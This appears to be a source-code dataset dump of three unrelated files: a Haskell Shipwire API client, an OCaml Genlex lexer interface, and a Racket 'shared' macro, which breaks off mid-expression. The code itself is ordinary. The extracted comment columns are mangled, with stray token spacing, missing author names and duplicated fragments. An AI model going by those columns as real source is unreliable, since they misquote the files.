let result = eitherDecode $ responseBody response
case result of
Left s -> return (Left (ShipwireError s response))
Right r -> return (Right r)
shipwireTest' :: ShipwireConfig
-> ShipwireRequest a TupleBS8 BSL.ByteString
-> Manager
-> IO (Response BSL.ByteString)
shipwireTest' ShipwireConfig {..} ShipwireRequest {..} manager = do
initReq <- parseRequest $ T.unpack $ T.append (hostUri host) endpoint
let reqBody | rMethod == NHTM.methodGet = mempty
| isNothing (paramsBody params) = mempty
| otherwise = unBody $ fromJust $ paramsBody params
req = initReq { method = rMethod
, requestBody = RequestBodyLBS reqBody
, queryString = paramsToByteString $ paramsQuery params
}
shipwireUser = unUsername email
shipwirePass = unPassword pass
authorizedRequest = applyBasicAuth shipwireUser shipwirePass req
httpLbs authorizedRequest manager
| null | https://raw.githubusercontent.com/alexeyzab/ballast/d514ebaa11b3101ee103e775e2ee277360a51123/src/Ballast/Client.hs | haskell | # LANGUAGE OverloadedStrings #
| Conversion of a key value pair to a query parameterized string
| Generate a real-time shipping quote
/
| Get stock information for your products.
/
| Get an itemized list of receivings.
/#panel-shipwire0
| Create a new receiving
/#panel-shipwire1
| Get information about this receiving.
/#panel-shipwire2
| Modify information about this receiving.
/#panel-shipwire3
| Cancel this receiving.
/#panel-shipwire4
| Cancel shipping labels on this receiving.
/#panel-shipwire5
| Get the list of holds, if any, on this receiving.
/#panel-shipwire6
| Get email recipients and instructions for this receiving.
/#panel-shipwire7
| Get the contents of this receiving.
| Get shipping dimension and container information.
/#panel-shipwire9
| Get tracking information for this receiving.
/#panel-shipwire10
| Get labels information for this receiving.
/#panel-shipwire11
| Get an itemized list of products.
/#panel-shipwire0
| Create new products of any classification.
/#panel-shipwire1
| Modify products of any classification.
/#panel-shipwire2
| Modify a product.
/#panel-shipwire3
| Get information about a product.
/#panel-shipwire4
| Indicates that the listed products will not longer be used.
/#panel-shipwire5
| Get an itemized list of orders.
/#panel-shipwire0
| Get information about this order.
/#panel-shipwire1
| Create a new order.
/#panel-shipwire2
| Cancel this order.
/#panel-shipwire4
| Get tracking information for this order.
/#panel-shipwire7
| Validate Address
-validation
| Create a request to `Shipwire`'s API
| This function is only used internally to speed up the test suite.
Instead of creating a new Manager we reuse the same one. | # LANGUAGE FlexibleContexts #
# LANGUAGE RecordWildCards #
module Ballast.Client where
import Ballast.Types
import Data.Aeson (eitherDecode, encode)
import Data.Aeson.Types
import qualified Data.ByteString.Char8 as BS8
import qualified Data.ByteString.Lazy.Char8 as BSL
import Data.Maybe (isNothing, fromJust)
import Data.Monoid ((<>))
import qualified Data.Text as T
import Network.HTTP.Client
import Network.HTTP.Client.TLS
import qualified Network.HTTP.Types.Method as NHTM
paramsToByteString ::
[Query]
-> BS8.ByteString
paramsToByteString [] = mempty
paramsToByteString [x] = fst (unQuery x) <> "=" <> (snd $ unQuery x)
paramsToByteString (x : xs) =
mconcat [fst $ unQuery x, "=", (snd $ unQuery x), "&"] <> paramsToByteString xs
createRateRequest :: GetRate -> ShipwireRequest RateRequest TupleBS8 BSL.ByteString
createRateRequest getRate = mkShipwireRequest NHTM.methodPost url params
where
url = "/rate"
params = Params (Just $ Body (encode getRate)) []
getStockInfo :: ShipwireRequest StockRequest TupleBS8 BSL.ByteString
getStockInfo = mkShipwireRequest NHTM.methodGet url params
where
url = "/stock"
params = Params Nothing []
getReceivings :: ShipwireRequest GetReceivingsRequest TupleBS8 BSL.ByteString
getReceivings = mkShipwireRequest NHTM.methodGet url params
where
url = "/receivings"
params = Params Nothing []
createReceiving :: CreateReceiving -> ShipwireRequest CreateReceivingRequest TupleBS8 BSL.ByteString
createReceiving crReceiving = mkShipwireRequest NHTM.methodPost url params
where
url = "/receivings"
params = Params (Just $ Body (encode crReceiving)) []
getReceiving :: ReceivingId -> ShipwireRequest GetReceivingRequest TupleBS8 BSL.ByteString
getReceiving receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.append "/receivings/" $ getReceivingId receivingId
params = Params Nothing []
modifyReceiving :: ReceivingId -> ModifyReceiving -> ShipwireRequest ModifyReceivingRequest TupleBS8 BSL.ByteString
modifyReceiving receivingId modReceiving = request
where
request = mkShipwireRequest NHTM.methodPut url params
url = T.append "/receivings/" $ getReceivingId receivingId
params = Params (Just $ Body (encode modReceiving)) []
cancelReceiving :: ReceivingId -> ShipwireRequest CancelReceivingRequest TupleBS8 BSL.ByteString
cancelReceiving receivingId = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/cancel"]
params = Params Nothing []
cancelReceivingLabels :: ReceivingId -> ShipwireRequest CancelReceivingLabelsRequest TupleBS8 BSL.ByteString
cancelReceivingLabels receivingId = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/labels/cancel"]
params = Params Nothing []
getReceivingHolds :: ReceivingId -> ShipwireRequest GetReceivingHoldsRequest TupleBS8 BSL.ByteString
getReceivingHolds receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/holds"]
params = Params Nothing []
getReceivingInstructionsRecipients :: ReceivingId -> ShipwireRequest GetReceivingInstructionsRecipientsRequest TupleBS8 BSL.ByteString
getReceivingInstructionsRecipients receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/instructionsRecipients"]
params = Params Nothing []
/#panel-shipwire8
getReceivingItems :: ReceivingId -> ShipwireRequest GetReceivingItemsRequest TupleBS8 BSL.ByteString
getReceivingItems receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/items"]
params = Params Nothing []
getReceivingShipments :: ReceivingId -> ShipwireRequest GetReceivingShipmentsRequest TupleBS8 BSL.ByteString
getReceivingShipments receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/shipments"]
params = Params Nothing []
getReceivingTrackings :: ReceivingId -> ShipwireRequest GetReceivingTrackingsRequest TupleBS8 BSL.ByteString
getReceivingTrackings receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/trackings"]
params = Params Nothing []
getReceivingLabels :: ReceivingId -> ShipwireRequest GetReceivingLabelsRequest TupleBS8 BSL.ByteString
getReceivingLabels receivingId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.concat ["/receivings/", getReceivingId receivingId, "/labels"]
params = Params Nothing []
getProducts :: ShipwireRequest GetProductsRequest TupleBS8 BSL.ByteString
getProducts = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = "/products"
params = Params Nothing []
createProduct :: [CreateProductsWrapper] -> ShipwireRequest CreateProductsRequest TupleBS8 BSL.ByteString
createProduct cpr = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = "/products"
params = Params (Just $ Body (encode cpr)) []
modifyProducts :: [CreateProductsWrapper] -> ShipwireRequest ModifyProductsRequest TupleBS8 BSL.ByteString
modifyProducts mpr = request
where
request = mkShipwireRequest NHTM.methodPut url params
url = "/products"
params = Params (Just $ Body (encode mpr)) []
modifyProduct :: CreateProductsWrapper -> Id -> ShipwireRequest ModifyProductRequest TupleBS8 BSL.ByteString
modifyProduct mpr productId = request
where
request = mkShipwireRequest NHTM.methodPut url params
url = T.append "/products/" $ T.pack . show $ unId productId
params = Params (Just $ Body (encode mpr)) []
getProduct :: Id -> ShipwireRequest GetProductRequest TupleBS8 BSL.ByteString
getProduct productId = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = T.append "/products/" $ T.pack . show $ unId productId
params = Params Nothing []
retireProducts :: ProductsToRetire -> ShipwireRequest RetireProductsRequest TupleBS8 BSL.ByteString
retireProducts ptr = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = "/products/retire"
params = Params (Just $ Body (encode ptr)) []
getOrders :: ShipwireRequest GetOrdersRequest TupleBS8 BSL.ByteString
getOrders = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = "/orders"
params = Params Nothing []
getOrder :: IdWrapper -> ShipwireRequest GetOrderRequest TupleBS8 BSL.ByteString
getOrder idw = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = case idw of
(WrappedId x) -> T.concat ["/orders/", T.pack . show $ unId x]
(WrappedExternalId x) -> T.concat ["/orders/E", unExternalId x]
params = Params Nothing []
createOrder :: CreateOrder -> ShipwireRequest CreateOrderRequest TupleBS8 BSL.ByteString
createOrder co = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = "/orders"
params = Params (Just $ Body (encode co)) []
cancelOrder :: IdWrapper -> ShipwireRequest CancelOrderRequest TupleBS8 BSL.ByteString
cancelOrder idw = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = case idw of
(WrappedId x) -> T.concat ["/orders/", T.pack . show $ unId x, "/cancel"]
(WrappedExternalId x) -> T.concat ["/orders/E", unExternalId x, "/cancel"]
params = Params Nothing []
getOrderTrackings :: IdWrapper -> ShipwireRequest GetOrderTrackingsRequest TupleBS8 BSL.ByteString
getOrderTrackings idwr = request
where
request = mkShipwireRequest NHTM.methodGet url params
url = case idwr of
(WrappedId x) -> T.concat ["/orders/", T.pack . show $ unId x, "/trackings"]
(WrappedExternalId x) -> T.concat ["/orders/E", unExternalId x, "/trackings"]
params = Params Nothing []
validateAddress :: AddressToValidate -> ShipwireRequest ValidateAddressRequest TupleBS8 BSL.ByteString
validateAddress atv = request
where
request = mkShipwireRequest NHTM.methodPost url params
url = ".1/addressValidation"
params = Params (Just $ Body (encode atv)) []
shipwire' :: ShipwireConfig
-> ShipwireRequest a TupleBS8 BSL.ByteString
-> IO (Response BSL.ByteString)
shipwire' ShipwireConfig {..} ShipwireRequest {..} = do
manager <- newManager tlsManagerSettings
initReq <- parseRequest $ T.unpack $ T.append (hostUri host) endpoint
let reqBody | rMethod == NHTM.methodGet = mempty
| isNothing (paramsBody params) = mempty
| otherwise = unBody $ fromJust $ paramsBody params
req = initReq { method = rMethod
, requestBody = RequestBodyLBS reqBody
, queryString = paramsToByteString $ paramsQuery params
}
shipwireUser = unUsername email
shipwirePass = unPassword pass
authorizedRequest = applyBasicAuth shipwireUser shipwirePass req
httpLbs authorizedRequest manager
data ShipwireError =
ShipwireError {
parseError :: String
, shipwireResponse :: Response BSL.ByteString
} deriving (Eq, Show)
shipwire
:: (FromJSON (ShipwireReturn a))
=> ShipwireConfig
-> ShipwireRequest a TupleBS8 BSL.ByteString
-> IO (Either ShipwireError (ShipwireReturn a))
shipwire config request = do
response <- shipwire' config request
let result = eitherDecode $ responseBody response
case result of
Left s -> return (Left (ShipwireError s response))
Right r -> return (Right r)
shipwireTest ::
(FromJSON (ShipwireReturn a))
=> ShipwireConfig
-> Manager
-> ShipwireRequest a TupleBS8 BSL.ByteString
-> IO (Either ShipwireError (ShipwireReturn a))
shipwireTest config tlsManager request = do
response <- shipwireTest' config request tlsManager
let result = eitherDecode $ responseBody response
case result of
Left s -> return (Left (ShipwireError s response))
Right r -> return (Right r)
shipwireTest' :: ShipwireConfig
-> ShipwireRequest a TupleBS8 BSL.ByteString
-> Manager
-> IO (Response BSL.ByteString)
shipwireTest' ShipwireConfig {..} ShipwireRequest {..} manager = do
initReq <- parseRequest $ T.unpack $ T.append (hostUri host) endpoint
let reqBody | rMethod == NHTM.methodGet = mempty
| isNothing (paramsBody params) = mempty
| otherwise = unBody $ fromJust $ paramsBody params
req = initReq { method = rMethod
, requestBody = RequestBodyLBS reqBody
, queryString = paramsToByteString $ paramsQuery params
}
shipwireUser = unUsername email
shipwirePass = unPassword pass
authorizedRequest = applyBasicAuth shipwireUser shipwirePass req
httpLbs authorizedRequest manager
|
a9ac619bbfaf54e81b9f8d82907484f2abc55659c96358fc1fb2ba23119a11fc | aryx/xix | genlex.mli | (***********************************************************************)
(* *)
(* Objective Caml *)
(* *)
, projet Cristal , INRIA Rocquencourt
(* *)
Copyright 1996 Institut National de Recherche en Informatique et
Automatique . Distributed only by permission .
(* *)
(***********************************************************************)
$ I d : genlex.mli , v 1.3 1997/10/24 15:54:07 xleroy Exp $
(* Module [Genlex]: a generic lexical analyzer *)
This module implements a simple ` ` standard '' lexical analyzer , presented
as a function from character streams to token streams . It implements
roughly the lexical conventions of , but is parameterized by the
set of keywords of your language .
as a function from character streams to token streams. It implements
roughly the lexical conventions of Caml, but is parameterized by the
set of keywords of your language. *)
type token =
Kwd of string
| Ident of string
| Int of int
| Float of float
| String of string
| Char of char
The type of tokens . The lexical classes are : [ Int ] and [ Float ]
for integer and floating - point numbers ; [ String ] for
string literals , enclosed in double quotes ; [ ] for
character literals , enclosed in single quotes ; [ Ident ] for
identifiers ( either sequences of letters , digits , underscores
and quotes , or sequences of ` ` operator characters '' such as
[ + ] , [ * ] , etc ) ; and [ Kwd ] for keywords ( either identifiers or
single ` ` special characters '' such as [ ( ] , [ } ] , etc ) .
for integer and floating-point numbers; [String] for
string literals, enclosed in double quotes; [Char] for
character literals, enclosed in single quotes; [Ident] for
identifiers (either sequences of letters, digits, underscores
and quotes, or sequences of ``operator characters'' such as
[+], [*], etc); and [Kwd] for keywords (either identifiers or
single ``special characters'' such as [(], [}], etc). *)
val make_lexer: string list -> (char Stream.t -> token Stream.t)
Construct the lexer function . The first argument is the list of
keywords . An identifier [ s ] is returned as [ Kwd s ] if [ s ]
belongs to this list , and as [ Ident s ] otherwise .
A special character [ s ] is returned as [ Kwd s ] if [ s ]
belongs to this list , and cause a lexical error ( exception
[ Parse_error ] ) otherwise . Blanks and newlines are skipped .
Comments delimited by [ ( * ] and [
keywords. An identifier [s] is returned as [Kwd s] if [s]
belongs to this list, and as [Ident s] otherwise.
A special character [s] is returned as [Kwd s] if [s]
belongs to this list, and cause a lexical error (exception
[Parse_error]) otherwise. Blanks and newlines are skipped.
Comments delimited by [(*] and [*)] are skipped as well,
and can be nested. *)
(* Example: a lexer suitable for a desk calculator is obtained by
[
let lexer = make_lexer ["+";"-";"*";"/";"let";"="; "("; ")"]
]
The associated parser would be a function from [token stream]
to, for instance, [int], and would have rules such as:
[
let parse_expr = parser
[< 'Int n >] -> n
| [< 'Kwd "("; n = parse_expr; 'Kwd ")" >] -> n
| [< n1 = parse_expr; n2 = parse_remainder n1 >] -> n2
and parse_remainder n1 = parser
[< 'Kwd "+"; n2 = parse_expr >] -> n1+n2
| ...
]
*)
| null | https://raw.githubusercontent.com/aryx/xix/60ce1bd9a3f923e0e8bb2192f8938a9aa49c739c/lib_core/unused/genlex.mli | ocaml | *********************************************************************
Objective Caml
*********************************************************************
Module [Genlex]: a generic lexical analyzer
] and [
Example: a lexer suitable for a desk calculator is obtained by
[
let lexer = make_lexer ["+";"-";"*";"/";"let";"="; "("; ")"]
]
The associated parser would be a function from [token stream]
to, for instance, [int], and would have rules such as:
[
let parse_expr = parser
[< 'Int n >] -> n
| [< 'Kwd "("; n = parse_expr; 'Kwd ")" >] -> n
| [< n1 = parse_expr; n2 = parse_remainder n1 >] -> n2
and parse_remainder n1 = parser
[< 'Kwd "+"; n2 = parse_expr >] -> n1+n2
| ...
]
| , projet Cristal , INRIA Rocquencourt
Copyright 1996 Institut National de Recherche en Informatique et
Automatique . Distributed only by permission .
$ I d : genlex.mli , v 1.3 1997/10/24 15:54:07 xleroy Exp $
This module implements a simple ` ` standard '' lexical analyzer , presented
as a function from character streams to token streams . It implements
roughly the lexical conventions of , but is parameterized by the
set of keywords of your language .
as a function from character streams to token streams. It implements
roughly the lexical conventions of Caml, but is parameterized by the
set of keywords of your language. *)
type token =
Kwd of string
| Ident of string
| Int of int
| Float of float
| String of string
| Char of char
The type of tokens . The lexical classes are : [ Int ] and [ Float ]
for integer and floating - point numbers ; [ String ] for
string literals , enclosed in double quotes ; [ ] for
character literals , enclosed in single quotes ; [ Ident ] for
identifiers ( either sequences of letters , digits , underscores
and quotes , or sequences of ` ` operator characters '' such as
[ + ] , [ * ] , etc ) ; and [ Kwd ] for keywords ( either identifiers or
single ` ` special characters '' such as [ ( ] , [ } ] , etc ) .
for integer and floating-point numbers; [String] for
string literals, enclosed in double quotes; [Char] for
character literals, enclosed in single quotes; [Ident] for
identifiers (either sequences of letters, digits, underscores
and quotes, or sequences of ``operator characters'' such as
[+], [*], etc); and [Kwd] for keywords (either identifiers or
single ``special characters'' such as [(], [}], etc). *)
val make_lexer: string list -> (char Stream.t -> token Stream.t)
Construct the lexer function . The first argument is the list of
keywords . An identifier [ s ] is returned as [ Kwd s ] if [ s ]
belongs to this list , and as [ Ident s ] otherwise .
A special character [ s ] is returned as [ Kwd s ] if [ s ]
belongs to this list , and cause a lexical error ( exception
[ Parse_error ] ) otherwise . Blanks and newlines are skipped .
Comments delimited by [ ( * ] and [
keywords. An identifier [s] is returned as [Kwd s] if [s]
belongs to this list, and as [Ident s] otherwise.
A special character [s] is returned as [Kwd s] if [s]
belongs to this list, and cause a lexical error (exception
[Parse_error]) otherwise. Blanks and newlines are skipped.
and can be nested. *)
|
f982bf36d8f0fe3b8147cef9f441524b16bd448ce439b9a1acac814275eb6894 | dyoo/whalesong | shared-body.rkt |
;; Used by ../shared.rkt, and also collects/lang/private/teach.rkt
;; Besides the usual things, this code expects `undefined' and
;; `the-cons', to be bound, it expects `struct-declaration-info?'
from the " struct.rkt " library of the " syntax " collection , and it
;; expects `code-insp' for-syntax.
(syntax-case stx ()
[(_ ([name expr] ...) body1 body ...)
(let ([names (syntax->list (syntax (name ...)))]
[exprs (syntax->list (syntax (expr ...)))])
(for-each (lambda (name)
(unless (identifier? name)
(raise-syntax-error
'shared
"not an identifier"
stx
name)))
names)
(let ([dup (check-duplicate-identifier names)])
(when dup
(raise-syntax-error
'shared
"duplicate identifier"
stx
dup)))
(let ([exprs (map (lambda (expr)
(let ([e (local-expand
expr
'expression
(append
(kernel-form-identifier-list)
names))])
;; Remove traced app if present
(let ([removing-traced-app
(syntax-case (syntax-disarm e code-insp) (with-continuation-mark traced-app-key)
[(with-continuation-mark traced-app-key val body)
(syntax/loc e body)]
[else
e])])
;; Remove #%app if present...
(syntax-case (syntax-disarm removing-traced-app code-insp) (#%plain-app)
[(#%plain-app a ...)
(syntax/loc removing-traced-app (a ...))]
[_else removing-traced-app]))))
exprs)]
[temp-ids (generate-temporaries names)]
[placeholder-ids (generate-temporaries names)]
[ph-used?s (map (lambda (x) (box #f)) names)]
[struct-decl-for (lambda (id)
(and (identifier? id)
(let ([get-struct
(lambda (id)
(let ([v (syntax-local-value id (lambda () #f))])
(and v
(struct-declaration-info? v)
(let ([decl (extract-struct-info v)])
(and (cadr decl)
(andmap values (list-ref decl 4))
(append decl
(list
(if (struct-auto-info? v)
(struct-auto-info-lists v)
(list null null)))))))))])
(or (get-struct id)
(let ([s (syntax-property id 'constructor-for)])
(and s
(identifier? s)
(get-struct s)))
(let* ([s (symbol->string (syntax-e id))]
[m (regexp-match-positions "make-" s)])
(and m
(let ([name (datum->syntax
id
(string->symbol (string-append (substring s 0 (caar m))
(substring s (cdar m) (string-length s))))
id)])
(get-struct name))))))))]
[append-ids null]
[same-special-id? (lambda (a b)
;; Almost module-or-top-identifier=?,
;; but handle the-cons specially
(or (free-identifier=? a b)
(free-identifier=?
a
(datum->syntax
#f
(if (eq? 'the-cons (syntax-e b))
'cons
(syntax-e b))))))]
[remove-all (lambda (lst rmv-lst)
(define (remove e l)
(cond
[(free-identifier=? e (car l)) (cdr l)]
[else (cons (car l) (remove e (cdr l)))]))
(let loop ([lst lst] [rmv-lst rmv-lst])
(if (null? rmv-lst)
lst
(loop (remove (car rmv-lst) lst)
(cdr rmv-lst)))))]
[disarm (lambda (stx) (syntax-disarm stx code-insp))])
(with-syntax ([(graph-expr ...)
(map (lambda (expr)
(let loop ([expr expr])
(define (bad n)
(raise-syntax-error
'shared
(format "illegal use of ~a" n)
stx
expr))
(define (cons-elem expr)
(or (and (identifier? expr)
(ormap (lambda (i ph ph-used?)
(and (free-identifier=? i expr)
(set-box! ph-used? #t)
ph))
names placeholder-ids ph-used?s))
(loop expr)))
(syntax-case* (disarm expr) (the-cons mcons append box box-immutable vector vector-immutable) same-special-id?
[(the-cons a d)
(with-syntax ([a (cons-elem #'a)]
[d (cons-elem #'d)])
(syntax/loc expr (cons a d)))]
[(the-cons . _)
(bad "cons")]
[(mcons a d)
(syntax (mcons undefined undefined))]
[(mcons . _)
(bad "mcons")]
[(lst e ...)
(ormap (lambda (x) (same-special-id? #'lst x))
(syntax->list #'(list list*)))
(with-syntax ([(e ...)
(map (lambda (x) (cons-elem x))
(syntax->list (syntax (e ...))))])
(syntax/loc expr (lst e ...)))]
[(lst . _)
(ormap (lambda (x) (same-special-id? #'lst x))
(syntax->list #'(list list*)))
(bad (syntax-e #'lst))]
[(append e0 ... e)
(let ([len-id (car (generate-temporaries '(len)))])
(set! append-ids (cons len-id append-ids))
(with-syntax ([e (cons-elem #'e)]
[len-id len-id])
(syntax/loc expr (let ([ph (make-placeholder e)]
[others (append e0 ... null)])
(set! len-id (length others))
(append others ph)))))]
[(append . _)
(bad "append")]
[(box v)
(syntax (box undefined))]
[(box . _)
(bad "box")]
[(box-immutable v)
(with-syntax ([v (cons-elem #'v)])
(syntax/loc expr (box-immutable v)))]
[(vector e ...)
(with-syntax ([(e ...)
(map (lambda (x) (syntax undefined))
(syntax->list (syntax (e ...))))])
(syntax (vector e ...)))]
[(vector . _)
(bad "vector")]
[(vector-immutable e ...)
(with-syntax ([(e ...)
(map (lambda (x) (cons-elem x))
(syntax->list (syntax (e ...))))])
(syntax/loc expr (vector-immutable e ...)))]
[(vector-immutable . _)
(bad "vector-immutable")]
[(make-x . args)
(struct-decl-for (syntax make-x))
(let ([decl (struct-decl-for (syntax make-x))]
[args (syntax->list (syntax args))])
(unless args
(bad "structure constructor"))
(let ([expected (- (length (list-ref decl 4))
(length (car (list-ref decl 6))))])
(unless (= expected (length args))
(raise-syntax-error
'shared
(format "wrong argument count for structure constructor; expected ~a, found ~a"
expected (length args))
stx
expr)))
(with-syntax ([undefineds (map (lambda (x) (syntax undefined)) args)])
(syntax (make-x . undefineds))))]
[_else expr])))
exprs)]
[(init-expr ...)
(map (lambda (expr temp-id used?)
(let ([init-id
(syntax-case* expr (the-cons mcons list list* append box box-immutable vector vector-immutable) same-special-id?
[(the-cons . _) temp-id]
[(mcons . _) temp-id]
[(list . _) temp-id]
[(list* . _) temp-id]
[(append . _) temp-id]
[(box . _) temp-id]
[(box-immutable . _) temp-id]
[(vector . _) temp-id]
[(vector-immutable . _) temp-id]
[(make-x . _)
(syntax-case (syntax-disarm expr code-insp) ()
[(make-x . _)
(struct-decl-for (syntax make-x))])
temp-id]
[else #f])])
(cond
[init-id
(set-box! used? #t)
init-id]
[(unbox used?)
temp-id]
[else
expr])))
exprs temp-ids ph-used?s)]
[(finish-expr ...)
(let ([gen-n (lambda (l)
(let loop ([l l][n 0])
(if (null? l)
null
(cons (datum->syntax (quote-syntax here) n #f)
(loop (cdr l) (add1 n))))))]
[append-ids (reverse append-ids)])
(map (lambda (name expr)
(let loop ([name name] [expr expr])
(with-syntax ([name name])
(syntax-case* (disarm expr) (the-cons mcons list list* append box box-immutable vector vector-immutable)
same-special-id?
[(the-cons a d)
#`(begin #,(loop #`(car name) #'a)
#,(loop #`(cdr name) #'d))]
[(mcons a d)
(syntax (begin
(set-mcar! name a)
(set-mcdr! name d)))]
[(list e ...)
(let ([es (syntax->list #'(e ...))])
#`(begin
#,@(map (lambda (n e)
(loop #`(list-ref name #,n) e))
(gen-n es)
es)))]
[(list* e ...)
(let* ([es (syntax->list #'(e ...))]
[last-n (sub1 (length es))])
#`(begin
#,@(map (lambda (n e)
(loop #`(#,(if (= (syntax-e n) last-n)
#'list-tail
#'list-ref)
name
#,n)
e))
(gen-n es)
es)))]
[(append e0 ... e)
(with-syntax ([len-id (car append-ids)])
(set! append-ids (cdr append-ids))
(loop #`(list-tail name len-id) #'e))]
[(box v)
(syntax (set-box! name v))]
[(box-immutable v)
(loop #'(unbox name) #'v)]
[(vector e ...)
(with-syntax ([(n ...) (gen-n (syntax->list (syntax (e ...))))])
(syntax (let ([vec name])
(vector-set! vec n e)
...)))]
[(vector-immutable e ...)
(let ([es (syntax->list #'(e ...))])
#`(begin
#,@(map (lambda (n e)
(loop #`(vector-ref name #,n) e))
(gen-n es)
es)))]
[(make-x e ...)
(struct-decl-for (syntax make-x))
(let ([decl (struct-decl-for (syntax make-x))])
(syntax-case (remove-all (reverse (list-ref decl 4)) (cadr (list-ref decl 6))) ()
[()
(syntax (void))]
[(setter ...)
(syntax (begin (setter name e) ...))]))]
[_else (syntax (void))]))))
names exprs))]
[(check-expr ...)
(if make-check-cdr
(map (lambda (name expr)
(syntax-case* expr (the-cons) same-special-id?
[(the-cons a d)
(make-check-cdr name)]
[_else (syntax #t)]))
names exprs)
null)]
[(temp-id ...) temp-ids]
[(placeholder-id ...) placeholder-ids]
[(ph-used? ...) (map unbox ph-used?s)]
[(used-ph-id ...) (filter values
(map (lambda (ph ph-used?)
(and (unbox ph-used?)
ph))
placeholder-ids ph-used?s))]
[(maybe-ph-id ...) (map (lambda (ph ph-used?)
(and (unbox ph-used?)
ph))
placeholder-ids ph-used?s)])
(with-syntax ([(ph-init ...) (filter values
(map (lambda (ph ph-used? graph-expr)
(and (unbox ph-used?)
#`(placeholder-set! #,ph #,graph-expr)))
placeholder-ids ph-used?s
(syntax->list #'(graph-expr ...))))]
[(append-id ...) append-ids])
(syntax/loc stx
(letrec-values ([(used-ph-id) (make-placeholder #f)] ...
[(append-id) #f] ...
[(temp-id ...)
(begin
ph-init ...
(apply values (make-reader-graph
(list maybe-ph-id ...))))]
[(name) init-expr] ...)
finish-expr
...
check-expr
...
body1
body
...))))))])
| null | https://raw.githubusercontent.com/dyoo/whalesong/636e0b4e399e4523136ab45ef4cd1f5a84e88cdc/whalesong/lang/private/shared-body.rkt | racket | Used by ../shared.rkt, and also collects/lang/private/teach.rkt
Besides the usual things, this code expects `undefined' and
`the-cons', to be bound, it expects `struct-declaration-info?'
expects `code-insp' for-syntax.
Remove traced app if present
Remove #%app if present...
Almost module-or-top-identifier=?,
but handle the-cons specially |
from the " struct.rkt " library of the " syntax " collection , and it
(syntax-case stx ()
[(_ ([name expr] ...) body1 body ...)
(let ([names (syntax->list (syntax (name ...)))]
[exprs (syntax->list (syntax (expr ...)))])
(for-each (lambda (name)
(unless (identifier? name)
(raise-syntax-error
'shared
"not an identifier"
stx
name)))
names)
(let ([dup (check-duplicate-identifier names)])
(when dup
(raise-syntax-error
'shared
"duplicate identifier"
stx
dup)))
(let ([exprs (map (lambda (expr)
(let ([e (local-expand
expr
'expression
(append
(kernel-form-identifier-list)
names))])
(let ([removing-traced-app
(syntax-case (syntax-disarm e code-insp) (with-continuation-mark traced-app-key)
[(with-continuation-mark traced-app-key val body)
(syntax/loc e body)]
[else
e])])
(syntax-case (syntax-disarm removing-traced-app code-insp) (#%plain-app)
[(#%plain-app a ...)
(syntax/loc removing-traced-app (a ...))]
[_else removing-traced-app]))))
exprs)]
[temp-ids (generate-temporaries names)]
[placeholder-ids (generate-temporaries names)]
[ph-used?s (map (lambda (x) (box #f)) names)]
[struct-decl-for (lambda (id)
(and (identifier? id)
(let ([get-struct
(lambda (id)
(let ([v (syntax-local-value id (lambda () #f))])
(and v
(struct-declaration-info? v)
(let ([decl (extract-struct-info v)])
(and (cadr decl)
(andmap values (list-ref decl 4))
(append decl
(list
(if (struct-auto-info? v)
(struct-auto-info-lists v)
(list null null)))))))))])
(or (get-struct id)
(let ([s (syntax-property id 'constructor-for)])
(and s
(identifier? s)
(get-struct s)))
(let* ([s (symbol->string (syntax-e id))]
[m (regexp-match-positions "make-" s)])
(and m
(let ([name (datum->syntax
id
(string->symbol (string-append (substring s 0 (caar m))
(substring s (cdar m) (string-length s))))
id)])
(get-struct name))))))))]
[append-ids null]
[same-special-id? (lambda (a b)
(or (free-identifier=? a b)
(free-identifier=?
a
(datum->syntax
#f
(if (eq? 'the-cons (syntax-e b))
'cons
(syntax-e b))))))]
[remove-all (lambda (lst rmv-lst)
(define (remove e l)
(cond
[(free-identifier=? e (car l)) (cdr l)]
[else (cons (car l) (remove e (cdr l)))]))
(let loop ([lst lst] [rmv-lst rmv-lst])
(if (null? rmv-lst)
lst
(loop (remove (car rmv-lst) lst)
(cdr rmv-lst)))))]
[disarm (lambda (stx) (syntax-disarm stx code-insp))])
(with-syntax ([(graph-expr ...)
(map (lambda (expr)
(let loop ([expr expr])
(define (bad n)
(raise-syntax-error
'shared
(format "illegal use of ~a" n)
stx
expr))
(define (cons-elem expr)
(or (and (identifier? expr)
(ormap (lambda (i ph ph-used?)
(and (free-identifier=? i expr)
(set-box! ph-used? #t)
ph))
names placeholder-ids ph-used?s))
(loop expr)))
(syntax-case* (disarm expr) (the-cons mcons append box box-immutable vector vector-immutable) same-special-id?
[(the-cons a d)
(with-syntax ([a (cons-elem #'a)]
[d (cons-elem #'d)])
(syntax/loc expr (cons a d)))]
[(the-cons . _)
(bad "cons")]
[(mcons a d)
(syntax (mcons undefined undefined))]
[(mcons . _)
(bad "mcons")]
[(lst e ...)
(ormap (lambda (x) (same-special-id? #'lst x))
(syntax->list #'(list list*)))
(with-syntax ([(e ...)
(map (lambda (x) (cons-elem x))
(syntax->list (syntax (e ...))))])
(syntax/loc expr (lst e ...)))]
[(lst . _)
(ormap (lambda (x) (same-special-id? #'lst x))
(syntax->list #'(list list*)))
(bad (syntax-e #'lst))]
[(append e0 ... e)
(let ([len-id (car (generate-temporaries '(len)))])
(set! append-ids (cons len-id append-ids))
(with-syntax ([e (cons-elem #'e)]
[len-id len-id])
(syntax/loc expr (let ([ph (make-placeholder e)]
